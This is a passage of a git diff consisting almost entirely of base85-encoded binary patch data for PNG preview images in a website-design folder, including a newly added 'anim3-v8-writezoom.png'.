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 literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v8-writezoom.png b/website-design/previews/anim3-v8-writezoom.png new file mode 100644 index 0000000000000000000000000000000000000000..3095fe4e71cb1266005760a48613d7a420a4a56d GIT binary patch literal 2668 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 